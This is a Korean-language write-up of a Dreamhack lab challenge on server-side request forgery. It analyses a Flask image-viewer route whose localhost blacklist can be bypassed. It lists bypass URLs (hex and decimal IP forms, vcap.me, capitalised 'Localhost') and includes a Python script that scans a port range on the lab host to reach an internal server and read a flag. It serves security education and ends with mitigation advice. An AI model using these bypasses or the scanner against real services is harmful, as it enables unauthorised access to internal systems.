[Dreamhack] STAGE9. Server Side Request Forgery
Web Hacking - ServerSide : Server Side Request Forgery (SSRF)
- 함께 실습 : web-ssrf
함께 실습 : web-ssrf
플래그는 /app/flag.txt 에 있다
웹 서비스 분석
/img_viewer
GET : img_viewer.html 렌더링
POST : 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 렌더링
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
run_local_server 함수
파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행한다. http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler을 전달하면, 현재 디렉토리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
취약점 분석
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
img_viewer는 위와 같은 방법으로 127.0.0.1 또는 localhost가 포함된 URL로의 접근을 막기에, 이를 우회하면 SSRF를 통한 내부 HTTP 서버 접근을 할 수 있다.
* URL 필터링은 URL에 포한되면 안되는 문자열로 블랙리스트를 만들고, 이를 이용하여 이용자의 접근을 제어하는 블랙리스트 필터링과, 접근을 허용할 URL로 구성된 화이트리스트 외의 URL을 모두 차단하는 화이트리스트 필터링으로 나뉜다
익스플로잇
-
127.0.0.1과 매핑된 도메인 이름 사용
임의의 도메인 이름을 구매하여 127.0.0.1과 연결하고, 그 이름을 url로 사용하거나, 이미 127.0.0.1에 매핑된 *.vcap.me 를 이용하여 접근할 수 있다 -
127.0.0.1의 alias 이용
하나의 IP는 여러 방식으로 표기되는데, 127.0.0.1의 경우, 다음과 같은 방식으로 표기될 수 있다.
How Example 16진수로 변환 0x7f.0x00.0x00.0x01 16진수 변환에서 . 제거 0x7f000001 위 숫자를 10진수로 변환 2130706433 각 자리에서 0 생략 127.1 / 127.0.1
- localhost의 alias 이용
호스트와 스키마는 대소문자를 구분하지 않으므로, localhost의 임의 문자를 대문자로 바꾸어도 같은 호스트를 의미한다
필터링을 우회할 수 있는 로컬호스트의 URL
http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/
풀이
1) 아래와 같이 내부 HTTP 서버의 포트번호를 알아내는 코드를 작성 후 실행한다
from flask import (
Flask,
request
)
import requests
for port in range(1500, 1800):
res = requests.post('http://host3.dreamhack.games:10334/img_viewer', data={'url': 'http://Localhost:' + str(port)})
print(port)
if len(res.text) != 65121: # error.png의 res.text 길이 = 65121 바이트
print('random port: ' + str(port))
break
2) 다음과 같이 포트 번호의 정보를 얻는다
3) 포트 번호를 넣어 app/flag.txt 에 접근한다
4) 출력되는 img의 src가 바뀐 것을 볼 수 있는데, 다음 정보를 base64 디코더에 넣어 디코딩 하면 flag를 얻을 수 있다
SSRF 공격을 막으려면 ?
화이트리스팅으로 강한 URL 필터링을 적용하거나, HTTP 요청을 하는 애플리케이션을 내부망과 분리하여 약점을 보완할 수 있다